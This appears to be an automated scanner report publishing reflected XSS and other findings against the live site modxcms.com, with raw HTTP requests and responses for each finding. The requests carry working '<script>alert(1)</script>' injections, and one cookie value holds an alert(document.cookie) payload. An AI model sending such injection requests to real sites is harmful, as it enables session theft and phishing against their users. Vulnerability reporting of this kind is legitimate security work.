modxcms.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSS in modxcms.com | Vulnerability Crawler Report

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Fri Jan 07 21:00:10 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://modxcms.com/ [name of an arbitrarily supplied request parameter]

1.2. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 1]

1.3. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 2]

1.4. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 3]

1.5. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 4]

1.6. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 5]

1.7. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 1]

1.8. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 2]

1.9. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 3]

1.10. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 4]

1.11. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 5]

1.12. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 1]

1.13. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 2]

1.14. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 3]

1.15. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 4]

1.16. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 5]

1.17. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 6]

1.18. http://modxcms.com/assets/site.css [REST URL parameter 1]

1.19. http://modxcms.com/assets/site.css [REST URL parameter 2]

1.20. http://modxcms.com/community/partners/hosting.html [REST URL parameter 1]

1.21. http://modxcms.com/community/partners/hosting.html [REST URL parameter 2]

1.22. http://modxcms.com/community/partners/hosting.html [REST URL parameter 3]

1.23. http://modxcms.com/community/partners/hosting.html [name of an arbitrarily supplied request parameter]

1.24. http://modxcms.com/favicon.ico [REST URL parameter 1]

1.25. http://modxcms.com/min/b=assets&f=css/reset.css,css/text.css,css/960.css,js/pushup/css/pushup.css [REST URL parameter 1]

1.26. http://modxcms.com/min/b=assets&f=css/reset.css,css/text.css,css/960.css,site.css,js/pushup/css/pushup.css [REST URL parameter 1]

1.27. http://modxcms.com/min/b=assets/js&f=jquery-1.3.2.min.js,jquery.tools.min.js,jquery.fancyzoom.js,jquery.labelify.js,jquery.jget.js,modxcms.js,pushup/pushup.js [REST URL parameter 1]

2. Cleartext submission of password

2.1. http://modxcms.com/

2.2. http://modxcms.com/community/partners/hosting.html

3. Password field with autocomplete enabled

3.1. http://modxcms.com/

3.2. http://modxcms.com/community/partners/hosting.html

4. Cross-domain POST

4.1. http://modxcms.com/

4.2. http://modxcms.com/community/partners/hosting.html

5. Cross-domain script include

5.1. http://modxcms.com/

5.2. http://modxcms.com/community/partners/hosting.html

6. Cookie without HttpOnly flag set

7. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 27 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://modxcms.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b1d5"><script>alert(1)</script>669205ce58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?9b1d5"><script>alert(1)</script>669205ce58=1 HTTP/1.1
Host: modxcms.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 07 Jan 2011 21:53:22 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Set-Cookie: SN4b017c9e75f0d=6a85e2489af80602bfa572698b93d02d; expires=Fri, 14 Jan 2011 21:53:22 GMT; path=/; domain=.modxcms.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23973

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href="htt
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/?9b1d5"><script>alert(1)</script>669205ce58=1" />
...[SNIP]...

1.2. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/hostinglisting.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47b80"><script>alert(1)</script>9d812b6ece9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets47b80"><script>alert(1)</script>9d812b6ece9/components/mymodx/css/hostinglisting.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:09 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets47b80"><script>alert(1)</script>9d812b6ece9/components/mymodx/css/hostinglisting.css" />
...[SNIP]...

1.3. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/hostinglisting.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12e27"><script>alert(1)</script>bf8bb2dd5aa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components12e27"><script>alert(1)</script>bf8bb2dd5aa/mymodx/css/hostinglisting.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:13 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components12e27"><script>alert(1)</script>bf8bb2dd5aa/mymodx/css/hostinglisting.css" />
...[SNIP]...

1.4. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/hostinglisting.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a88ef"><script>alert(1)</script>65dfabe0f1b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/mymodxa88ef"><script>alert(1)</script>65dfabe0f1b/css/hostinglisting.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:17 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/mymodxa88ef"><script>alert(1)</script>65dfabe0f1b/css/hostinglisting.css" />
...[SNIP]...

1.5. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/hostinglisting.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfef8"><script>alert(1)</script>677069b1304 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/mymodx/cssbfef8"><script>alert(1)</script>677069b1304/hostinglisting.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:22 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/mymodx/cssbfef8"><script>alert(1)</script>677069b1304/hostinglisting.css" />
...[SNIP]...

1.6. http://modxcms.com/assets/components/mymodx/css/hostinglisting.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/hostinglisting.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a02e"><script>alert(1)</script>2ca16fdedaa was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/mymodx/css/hostinglisting.css5a02e"><script>alert(1)</script>2ca16fdedaa HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:25 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/mymodx/css/hostinglisting.css5a02e"><script>alert(1)</script>2ca16fdedaa" />
...[SNIP]...

1.7. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/index.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 955cf"><script>alert(1)</script>f5ff31e756a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets955cf"><script>alert(1)</script>f5ff31e756a/components/mymodx/css/index.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:57:52 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets955cf"><script>alert(1)</script>f5ff31e756a/components/mymodx/css/index.css" />
...[SNIP]...

1.8. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/index.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1b31"><script>alert(1)</script>583abac3be0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/componentsa1b31"><script>alert(1)</script>583abac3be0/mymodx/css/index.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:57:56 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/componentsa1b31"><script>alert(1)</script>583abac3be0/mymodx/css/index.css" />
...[SNIP]...

1.9. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/index.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e504"><script>alert(1)</script>7cc1f12f26 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/mymodx2e504"><script>alert(1)</script>7cc1f12f26/css/index.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:04 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18844

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/mymodx2e504"><script>alert(1)</script>7cc1f12f26/css/index.css" />
...[SNIP]...

1.10. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/mymodx/css/index.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f48bb"><script>alert(1)</script>8ed573be155 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/mymodx/cssf48bb"><script>alert(1)</script>8ed573be155/index.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:07 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/mymodx/cssf48bb"><script>alert(1)</script>8ed573be155/index.css" />
...[SNIP]...

1.11. http://modxcms.com/assets/components/mymodx/css/index.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
